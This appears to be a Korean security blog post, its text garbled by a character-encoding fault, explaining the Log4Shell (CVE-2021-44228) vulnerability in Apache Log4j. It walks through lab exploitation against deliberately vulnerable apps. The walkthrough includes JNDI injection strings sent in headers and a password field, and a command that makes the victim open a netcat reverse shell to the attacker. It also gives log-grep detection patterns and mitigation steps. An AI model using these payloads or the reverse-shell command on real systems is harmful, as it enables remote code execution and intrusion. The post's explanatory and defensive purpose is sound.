ν°μ€ν 리 λ·°
κ°μ
12μ 10μΌκ²½ μΉκ΅¬λ€κ³Ό μ μ§μμ μ‘°μ΄νκ² μ νμ νκ³ μμ λ λ€μν ν¬νΈμ¬μ΄νΈμμ 보μμ¬κ³ κ° λ°μνλ€λ κΈ°μ¬λ₯Ό μ νκ² λμμ΅λλ€.
CVE-2021-44228(JNDI Injection) λλ²λ₯Ό λΆμ¬λ°μ log4j μ·¨μ½μ μ Apacheμ "Log For JAVA"μ΄λ¦μ κ°μ§ λ§ κ·Έλλ‘ JAVA κΈ°λ° λ‘κΉ
νλ μμν¬λ‘ κ°λ°μλ€μ΄ λλ²κ·Έ μ©λλ‘ λ§μ΄ μ¬μ©νκ³ μλ λ§νΌ 곡격μ ν¬μλ μ μλ λ²μκ° λ무 λμ΅λλ€.
κ΅λ΄ μ μμ λΆνμ€ νλ μμν¬μ 3.1 ~ 3.10 λ²μ μμ log4j 2.0 ~ 2.12.1μ μ¬μ©νκ³ μλ λ§νΌ ν΄μΈ/κ΅λ΄λ₯Ό κ°λ¦¬μ§ μκ³ μ¬λ¬ κ°λ°μ, 보μλ΄λΉμ, μμ§λμ΄λΆλ€μ΄ λ§μ μκ³ λ₯Ό ν΄μ£Όμ
¨μ κ²μΌλ‘ νλ¨λ©λλ€.
μ μμ λΆ νλ μμν¬: https://www.egovframe.go.kr/home/sub.do?menuNo=13
μ΄ μ·¨μ½μ μ΄ ν¬κ² κ±°λ‘ λ μ΄μ λ CVE-2021-44228 κ³΅κ²©μ΄ μ±κ³΅ μ μ격μ§μ μλ λμ μμ€ν μκ² μμμ½λλ₯Ό λ€μ΄/μ€νν μ μλ RCE(Remote Code Execution)κ° μμ±λκΈ° λλ¬Έμ λλ€. 곡격 λ°©μμ΄ λ§€μ° κ°λ¨ν λ°μ λΉν΄ νκΈν¨κ³Όκ° κ΅μ₯ν 컀 CVSS λ§μ μΈ 10μ μ λΆμ¬λ°μμ΅λλ€. JAVA κΈ°λ°μΌλ‘ μ΄μλλ λνμ μΈ μλΉμ€λ€κ³Ό μ·¨μ½ν Log4jλ²μ μ μλμ κ°μ΅λλ€.
μλμ°(Powershell)
# gci 'C:\' -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path
리λ μ€
# find / 2>/dev/null -regex ".*.jar" -type f | xargs -I{} grep JndiLookup.class "{}"
JNDI Lookup μ΄λ
log4jμ μ격μ½λ μ€νμ΄ μ΄λ»κ² λ°μνλμ§ μ΄ν΄νκΈ° μν΄μ log4j 2.0-beta9μ λμ λ "JNDILookup"μ΄ μ΄λ€ μν μ νλμ§ μμμΌ ν©λλ€.
JNDIλ "Java Naming and Directory Interface"μ μ½μμ
λλ€. LDAP κ°μ λλ ν 리 μλΉμ€μ μ μ₯λμ΄μλ JAVA κ°μ²΄λ₯Ό λ°κ²¬νκ³ μ°Έκ³ (Lookup) νκΈ° μν JAVA APIλ‘ μ½κ² μ΄μΌκΈ°ν΄ λΆμ°λ νκ²½ μμμ μλ‘ κ°μ νμν μμμ μ°κ²°μμΌ μ€ μ μλ λͺ©μ μ κ°μ§κ³ μμ΅λλ€.
JNDIμ ꡬ쑰λ₯Ό 보면 ν¬κ² APIμ SPI 2κ°λ‘ λλλλ° μ΅μ€νλ‘μμ νλλ° κ΄μ¬μ κ°μ ΈμΌ ν λΆλΆ μ SPI(Service Provider Interface)μ λλ€. μ΄λ APIμμ νμλ λΆλΆμΌλ‘ J2EE νλ«νΌ κΈ°λ°μ λ€μ΄λ°κ³Ό λλ ν 리 μλΉμ€λ₯Ό μ°κ²°μμΌ μ€λλ€. μ¦ "LDAP, DNS, NIS, RMI" λ±μ νλ‘ν μ½μ μ΄μ©ν΄μ JNDI μ½μ νΈμΆνλ κ²μ΄ κ°λ₯νκΈ° λλ¬Έμ 곡격μλ 미리 μ€λΉν΄λ LDAP μλ²μ Exploit νκΈ° μν μ½λλ₯Ό μ€λΉν΄λλ€λ©΄ μ΅μ’ μ μΌλ‘ μ격μ§μ λμ μλ²μ. class νμμ μ½λλ₯Ό μλ΅μμΌ μνλ λͺ λ Ήμ΄λ₯Ό μ€νμν€λλ‘ ν μ μμ΅λλ€.
JNDI μ½μ νΈμΆνλ€λ κ²μ΄ μ‘°κΈ μμνλ€λ©΄ κ°μ Naming μλΉμ€ μ€ νλμΈ "DNS"λ₯Ό μκ°ν΄λ³΄μλ©΄ λ©λλ€. Example.comμ μ λ ₯νμ¬ μ μ μ -> DNS μλ²λ₯Ό ν΅ν΄ λλ©μΈμ IPνλ ν μ μ -> λλ©μΈ μ΄λ¦μΌλ‘ μ κ·Όνλ κ²μ²λΌ 보μ΄μ§λ§ μ€μ§μ μΌλ‘ IPλ‘ μ κ·Όνλ κ²μ²λΌ λλ©μΈ <=> IP κ°μ μλ‘ λ°μΈλ©νμ¬ μ°κ²°ν΄μ£Όλ κ²μ΄λΌ 보면 λ©λλ€.
*λλ ν 리 λλ λ€μ΄λ° μλΉμ€: λΆμ° νκ²½μ μλ λ€μ€ μμ€ν
λ° μλΉμ€μ λν μμ μ 보 μ μ₯μμ΄λ©°, λ€μ΄λ° μλΉμ€λ₯Ό μ§μνλ μλ²μ μ΄λ¦(name)μ μ΄μ©νμ¬ ν΄λΉ μμμ λν ν΄λΌμ΄μΈνΈ λ° μλ² μ‘μΈμ€λ₯Ό μ 곡ν¨
곡격 νλ¦
μ¬μ©μκ° μ·¨μ½ν Log4j λΌμ΄λΈλ¬λ¦¬λ₯Ό μ¬μ© μ€μΈ κ²½μ° μλμ κ°μ 곡격 νλ¦μ ν΅ν΄ μΉ¨ν΄μ¬κ³ λ₯Ό κ²½νν μ μμ΅λλ€.
μ°Έκ³ λ‘ JNDI Injection νκΈ° μν μμΉκ° ν κ³³μ κ΅νλμ§ μκΈ° λλ¬Έμ 곡격μλ HTTP μμ² ν€λ(User-Agent λ±)μ μ½μ νκ±°λ νμ΄μ§ λ΄λΆμ Login ID, Password, E-mail κ°μ POSTνλλ₯Ό ν΅ν΄μλ 곡격ν μ μμ΅λλ€.
1. 곡격μλ λ³λμ μ μ± LDAP μλ²λ₯Ό μ€λΉν΄λκ³ ${jndi:ldap://attacker.com/a} ννμ ꡬ문μ log4jκ° κ΅¬μ±λμ΄μλ λμ μΉ μλΉμ€μ Injectionμ μλ
ex) 1. User-Agent μ 보λ₯Ό log.infoλ‘ μΆλ ₯
public void handle(HttpExchange he) throws IOException {
String userAgent = he.getRequestHeader("user-agent");
log.info("Request User Agent:{}", userAgent); }
2. Curlμ ν΅ν User-Agentμ JNDI Injection
# curl victim:8080 -H 'User-Agent: ${jndi:ldap://attacker.com/a}'
2. λμ μΉ μλ²λ -> 곡격μ μλ²(attacker.com/a)λ‘ LDAP 쿼리 μμ²(Query)
3. 곡격μ μλ²(Attacker LDAP)μ 미리 μ€λΉλ Exploitμ½λκ° ν¬ν¨λ μλ΅μ λμ μλΉμ€μ LDAP 쿼리 μλ΅(Response)
(Responseνν)
javaCodeBase:
http://attacker.com/a
javaClassName: RCE
objectClass: javaNamingReference
4. λμ μλ²μμ 곡격μ μλ²λ‘ HTTP GET μμ²
5. 곡격μ μλ²μ μλ RCE.classλ₯Ό λμ μλ²μ μλ΅νμ¬ μ½λ μ€ν
(Responseνν)
class RCE {
static {
Runtime.getRuntime().exec("Custom command");
}}
Exploit (User-Agent)
log4j μ·¨μ½μ ν μ€νΈλ₯Ό μν΄ λͺ κ°μ§ 곡격 벑ν°λ₯Ό μμ보λλ‘ νκ² μ΅λλ€.(JDK 8u181 μ€μΉλμ΄ μμ)
# git clone https://github.com/leonjza/log4jpwn.git
# cd logpjpwn
# mvn clean compile assembly:single (mvn μμ μ apt-get install mvn)
# java -jar target/log4jpwn-1.0-SNAPSHOT-jar-with-dependencies.jar
μ°μ μ·¨μ½ν μΉ μ ν리μΌμ΄μ κ°λν΄μ€λλ€. κ΅¬μΆ λ°©λ²μ μμ κΉνλΈ νμ΄μ§λ₯Ό μ°Έκ³ νμκΈ° λ°λλλ€.
localhost λλ μμ μ docker IPλ₯Ό νμΈνμ¬ μ κ·Όν΄λ³΄μλ©΄ User-Agentκ° κΈ°λ‘λλ νμ΄μ§κ° λνλ©λλ€.
νμ¬ κ°λ μ€μΈ μλ²μλ 3κ°μ§μ μ·¨μ½ν 맀κ°λ³μ(User-Agent, pwn, URI path κ²½λ‘)κ° μ‘΄μ¬ν©λλ€. μ΄ μ€μμ User-Agentμ JNDI Lookup λ¬Έμμ΄μ μ λ¬νμ¬ μ격μ½λλ₯Ό νΈλ¦¬κ±°νλλ‘ μ§νν΄λ³΄κ² μ΅λλ€.
μ·¨μ½ν μλ²λ μ€λΉλμμΌλ μ΄μ κ³΅κ²©μ© LDAP μλ²λ₯Ό μ€λΉν΄μΌ λ©λλ€. μλμ λ§ν¬λ₯Ό νκ³ κ°μ. jarνμΌμ λ€μ΄λ‘λνλλ‘ νκ² μ΅λλ€.
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "nc {Attack_IP} 8888 -e /bin/sh" -A {Attack_IP}
# nc -lvp 8888
-C μ΅μ μ ν΅ν΄ ν¬μμ μλ²μμ μ€νν λͺ λ Ήμ΄λ₯Ό μ λ ₯νκ³ -A μλ 곡격μμ iP μ£Όμλ₯Ό λ£μ΄μ£Όμλ©΄ λ©λλ€.
JNDI Linksμ λ΄κΈ΄ ldapμ£Όμλ₯Ό ν¬μμ μλ²μ μ λ¬λ κ²½μ° κ³΅κ²©μ μλ²μ ldap 쿼리λ₯Ό μμ²νκ² λμ΄ Exploit Codeκ° λ΄κΈ΄ μλ΅μ νμ νκ² λ©λλ€.
# curl -H 'User-Agent: ${jndi:ldap://192.168.0.129:1389/li62qf}' 172.17.0.1:8080
JNDI injectionμ νκΈ° μν΄ λμ μλ²μ User-Agentμ 곡격 쿼리λ₯Ό μ½μ ν΄μ€λλ€. μ΄λ -H μ΅μ μ μ¬μ©ν΄μ£Όμλ©΄ λ©λλ€.
Server Logλ₯Ό 보μλ©΄ ν¬μμ μλ²μμ 곡격μμ LDAP μ£ΌμμΈ 192.168.0.129:1389/li62qfλ‘ μμ² μΏΌλ¦¬λ₯Ό μ λ¬νκ² λκ³ μλ΅ κ°μΌλ‘ μ€λΉλ Exploitμ½λλ₯Ό 보λ΄μ΄ μ격μ½λ μ€νμ΄ κ°λ₯ν΄μ§λλ€.
Exploit (Password Form)
https://github.com/Cyb3rWard0g/log4jshell-lab/tree/main/victim-server
μ΄λ²μλ ν€λ λμμ μΈμ μ μ΄ μλ νλ©΄μ μ½κ² μ κ·Όν μ μλ λ‘κ·ΈμΈ νμ΄μ§λ₯Ό λμμΌλ‘ ν΄λ³΄κ² μ΅λλ€. μ°μ μμ μ μλ²μ ν°μΊ£μ μ€μΉ ν μ·¨μ½ν μΉ μμ€λ₯Ό μ»΄νμΌν΄μ£Όλ©΄ μμ κ°μ λ‘κ·ΈμΈ νμ΄μ§λ‘ μ κ·Όν μ μκ² λ©λλ€.
λΌμ΄λΈλ¬λ¦¬ μͺ½μ νμΈν΄λ³΄λ©΄ μ·¨μ½ν λ²μ μΈ Log4j 2.14.0 μ ν΅ν΄ μ¬μ©μμ μ λ ₯ κ°μ μ²λ¦¬νλκ²μΌλ‘ νμΈλ©λλ€.
μμ€μ½λλ₯Ό νμΈν΄λ³΄λ λ‘κ·ΈμΈ νμ΄μ§μ ν¨μ€μλ νλκ° Log4j νμμ νμ± μ²λ¦¬κ° λκ³ μκΈ° λλ¬Έμ ν¨μ€μλ μ λ ₯λμ JNDI Lookup λ¬Έμμ΄μ μ λ¬νμ¬ κ³΅κ²©μμ μ μ± LDAP μ£Όμλ₯Ό μ°Έμ‘°ν μ μλλ‘ ν΄μ£Όλ©΄ λ κ² κ°μ΅λλ€.
# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "nc {Attack_IP} 8888 -e /bin/sh" -A {Attack_IP}
# nc -lvp 8888
μμμ νλ λ°©μκ³Ό λ§μ°¬κ°μ§λ‘ LDAP μλ²λ₯Ό κ°λνμ¬ ν¬μμ μλ² -> 곡격μ μλ²λ‘ μ°κ²°μ νμ©νλ 리λ²μ€ μμ λ§Ίλλ‘ νκ² μ΅λλ€.
곡격μ½λκ° μ λλ‘ μ λ ₯λμλμ§ νμΈνκΈ° μν΄ type μμ±μ textλ‘ λ³κ²½ν΄μ£Όκ³ Sign inμ λλ¬μ€λλ€.
λ‘κ·Έλ₯Ό νμΈν΄λ³΄λ©΄ 곡격μκ° μ½μ ν JNDI λ¬Έμμ΄μ΄ μ λλ‘ μ λ¬λμμΌλ©° Lookupμ΄ λ κ²μ νμΈν μ μμ΅λλ€.
리λ²μ€ μμ΄ μ±κ³΅μ μΌλ‘ μ΄λ¦΄κ² λ©λλ€.
Exploit (X-Api-Version)
https://github.com/christophetd/log4shell-vulnerable-app
# docker build . -t vulnerable-app (Docker μμ μ μ€μΉ)
# docker run -p 8080:8080 --name vulnerable-app vulnerable-app
log4shellμ λ ΈμΆλ μ μλ 곡격 λ°±ν°λ κ·Έ μ΄λ κ³³μ΄ λ μλ μλ€κ³ μκΈ°νμ΅λλ€. μμ μμ€μ κ²½μ° μμ² ν€λμ ν¬ν¨λμ΄ μλ X-Api-Version μ΄ μ·¨μ½ν log4j λ²μ μμ νμ± λκ³ μμ΅λλ€.
μμ² κ°μ X-Api-Version ν€λλ₯Ό μΆκ°νμ¬ μ€λΉν΄λ JNDI Lookup λ¬Έμμ΄μ 보λ΄λ³΄λ©΄ Hello, world! λ₯Ό λ°ννμ¬ μ²λ¦¬νκ² λ©λλ€.
ν¬μμ μλ²μμ Lookup ν μ£Όμλ 곡격μμ LDAP μ£Όμλ‘ μ€λΉλ Exploit Codeλ‘ μΈν΄ 리λ²μ€ μμ μ°κ²°ν μ μλ nc λͺ λ Ήμ΄λ₯Ό μ격μμ μ€νμν€κ² λμ΄ μνΈ κ°μ μΈμ μ μ°κ²°νκ² λ©λλ€.
μ·¨μ½ μ 무 ν μ€νΈ
μμ μ΄ κ΄λ¦¬νλ μλ²κ° Log4shellμ μ·¨μ½ν λ²μ μ μ¬μ©νκ³ μμ κ²½μ° μ€μ μ μ©μ΄ κ°λ₯νμ§ ν μ€νΈλ₯Ό ν΄λ΄μΌ λ μλ μμ΅λλ€. κ·Έλ΄ λλ μλμ λ§ν¬λ₯Ό ν΅ν΄ μμμ½λκ° νΈλ¦¬κ±° λ μ μλμ§ μ¬λΆλ₯Ό κ°λ¨νκ² νμ ν΄μ£Όλ μ¬μ΄νΈλ₯Ό μ΄μ©ν΄λ³΄μλ©΄ λμμ΄ λ©λλ€.(BurpSuite Proμ Collaborator μ¬μ©νμ λ λ©λλ€.)
λ§ν¬λ₯Ό μ μν΄λ³΄λ©΄ ν μ€νΈλ₯Ό νκΈ° μν μ’ λ₯(Select your token)μ μ΄λ©μΌ κ·Έλ¦¬κ³ μλ³νκΈ° μν κ°λ¨ν μ½λ©νΈ λ±μ μμ±ν μ μλ νμ΄μ§κ° μ‘΄μ¬ν©λλ€.
맨 νλ¨μ μ’ λ₯λ‘ λ΄λ €λ³΄λ©΄ Log4Shell νλͺ©μ΄ μ‘΄μ¬ν©λλ€. μ νν΄μ£Όμ ν μμ μ μ΄λ©μΌκ³Ό κ°λ¨ν μ½λ©νΈλ₯Ό μμ±ν΄μ€λλ€.
μ½λκ° μμ±λλ©΄ μμ κ°μ tokenμ΄ μμ±λμλ€λ λ¬Έκ΅¬κ° λνλ©λλ€. 볡μ¬λ₯Ό ν΄μ£Όμλ©΄ λ©λλ€.
μμμ ν μ€νΈνλ μ·¨μ½ν μΉ μλ²λ‘ λμ΄μ μμ±λ tokenμ μ½μ νμ¬ κΈ°λ€λ € μ£Όμλ©΄ λμ λλ€.
μ½ λͺ μ΄ μ λ κΈ°λ€λ €λ³΄μλ©΄ token μμ± μ μμ±νλ μ΄λ©μΌ μ£Όμλ‘ μ½λκ° νΈλ¦¬κ±° λ μ μλ μ 무λ₯Ό μλ΅νκ² λ©λλ€. λ§μ½ μ·¨μ½μ μ΄ μ‘΄μ¬νμ§ μμλ€λ©΄ μ΄λ©μΌμ΄ λμ°©νμ§ μμ΅λλ€.
곡격 μ§ν νμ νλ λ²
log4j μλΉμ€λ₯Ό μμ λΆν° μ¬μ©νμ ¨λ€λ©΄ κ·Έλ§νΌ μ€λ μκ° λμ μ·¨μ½μ μ λ ΈμΆλμ΄ μμμ κ°λ₯μ±μ΄ λμ΅λλ€. 1μ°¨μ μΌλ‘ λΉ λ₯΄κ² μ‘°μΉνμλ κ²λ μ€μνμ§λ§ λ‘κ·ΈλΆμμ ν΅ν΄ μ¬νμ‘°μΉλ₯Ό ν μ μλλ‘ ν΄μ£Όμλ κ²λ μ€μν©λλ€.
μμΆλμ΄ μμ§ μμ κ²½μ°
# sudo egrep -I -i -r ‘\$(\{|%7B)jndi:(ldap[s]?|rmi|dns):/[^\n]+’ /var/log
μμΆλμ΄ μλ κ²½μ°
# sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i '\$(\{|%7B)jndi:(ldap[s]?|rmi|dns):/[^\n]+'
μμΆλμ΄ μμ§ μμ κ²½μ°(λλ ν)
# sudo find /var/log/ -type f -exec sh -c "cat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -I -i 'jndi:(ldap[s]?|rmi|dns):'" \;
μμΆλμ΄ μλ κ²½μ°(λλ ν)
# sudo find /var/log/ -name "*.log.gz" -type f -exec sh -c "zcat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -i 'jndi:(ldap[s]?|rmi|dns):'" \;
λμ λ°©λ²
ννΈ λΈλ¦¬λ, μ μΌν¬μ²λΌ μ€λ μκ° κΈ°λ‘λ μ·¨μ½μ (κ°μΈμ μΌλ‘ JNDI Injectionλ§νΌμ μλμμ)λ€μ μ¦κ° μ΅μ λ²μ μΌλ‘ μ
κ·Έλ μ΄λνλ κ²μ΄ μ€μν©λλ€.
μ΄λ―Έ μ μ¬μ
κ³μ κ³μλ λΆλ€μ 곡문μ λ°μκΈ° λλ¬Έμ log4j 2.15 λ²μ μΌλ‘ μ
κ·Έλ μ΄λνκ±°λ μμ§ μ§ν μ€μ μμΌμκ² μ§λ§. CVE-2021-44228μ΄ λ°νλ μ§ν μλ‘μ΄ μ·¨μ½μ (CVE-2021-45046[DOS], CVE-2021-4104[1.2 RCE])μ΄ μ€μ€μ΄ λμ€κ³ μκΈ° λλ¬Έμ κ°κΈμ μ‘°μΉνμλλΉμΌ κΈ°μ€μ λ§λ μ μΌ μ΅μ λ²μ μΌλ‘ μ¬λ €μ£Όμλ©΄ λ©λλ€.
(2021-12-16 κΈ°μ€ log4j 2.16μμλ JNDIμ λν μ‘μΈμ€λ₯Ό λΉνμ±ννκ³ λ©μμ§ μ‘°ν κΈ°λ₯μ΄ μμ ν μ κ±°λμμ§λ§, κ°μ©μ±μ μΉ¨ν΄ν μ μλ DDOS μ·¨μ½μ μ΄ μΆκ° λ°κ²¬λμ΄ 2.17 λ²μ μΌλ‘ μ
κ·Έλ μ΄λ κΆκ³ )
λ§μ½ μ
κ·Έλ μ΄λκ° λΆκ°λ₯νλ€λ©΄ μλμ κ°μ λ°©λ²μ ν΅ν΄ μ§νν©λλ€.
- Log4j 1.2(CVE-2021-4104): λ³λμ JNDIλ₯Ό μ¬μ©ν λλ§ μ·¨μ½νλ©° JMSAppenderκ° νμ±νλμ΄ μμ κ²½μ° λΉνμ±ν
(1) zip -d log4j-1.2.16.jar org/apache/log4j/net/JMSAppender.class
(2) zip -d log4j-1.2.16.jar org/apache/log4j/net/SocketServer.class
- Log4j 2.x:(Java 8 μ΄μμ 2.17 / Java 7 μ΄μμ 2.12.2λ‘ μ
κ·Έλ μ΄λ)
(1) JndiLookup μ λΉνμ±ν(NoLookupsλ₯Ό Trueλ‘ μ€μ )
echo “export LOG4J_FORMAT_MSG_NO_LOOKUPS=true” >> /etc/profile.d/blockzero.sh
/etc/environment μ LOG4J_FORMAT_MSG_NO_LOOKUPS=true μΆκ°νμ¬ μμ€ν
μ 체μ μ μ©
log4j-core-*.jar νμΌμμ JNDI Lookup ν΄λμ€λ₯Ό μ κ±°
(1) zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
<Ref>
https://blog.qualys.com/vulnerabilities-threat-research/2021/12/15/is-your-web-application-exploitable-by-log4shell-cve-2021-44228-vulnerability
https://opentutorials.org/module/3569/21223
https://extsdd.tistory.com/326
https://medium.com/s2wlab/logs-of-log4shell-cve-2021-44228-log4j-is-ubiquitous-kr-fb50a6458a08
https://acet.pe.kr/214
'WEB' μΉ΄ν κ³ λ¦¬μ λ€λ₯Έ κΈ
CSTI(Client Side Template Injection) μ·¨μ½μ (0) | 2022.03.08 |
---|---|
κΈ°μ λλ©μΈμ DMARC λ μ½λ λΆμ (0) | 2022.02.18 |
Atlassian RCE μ·¨μ½μ (0) | 2021.09.12 |
Atlassian REST API μ·¨μ½μ (0) | 2021.09.11 |
Atlassian XSS μ·¨μ½μ (0) | 2021.09.10 |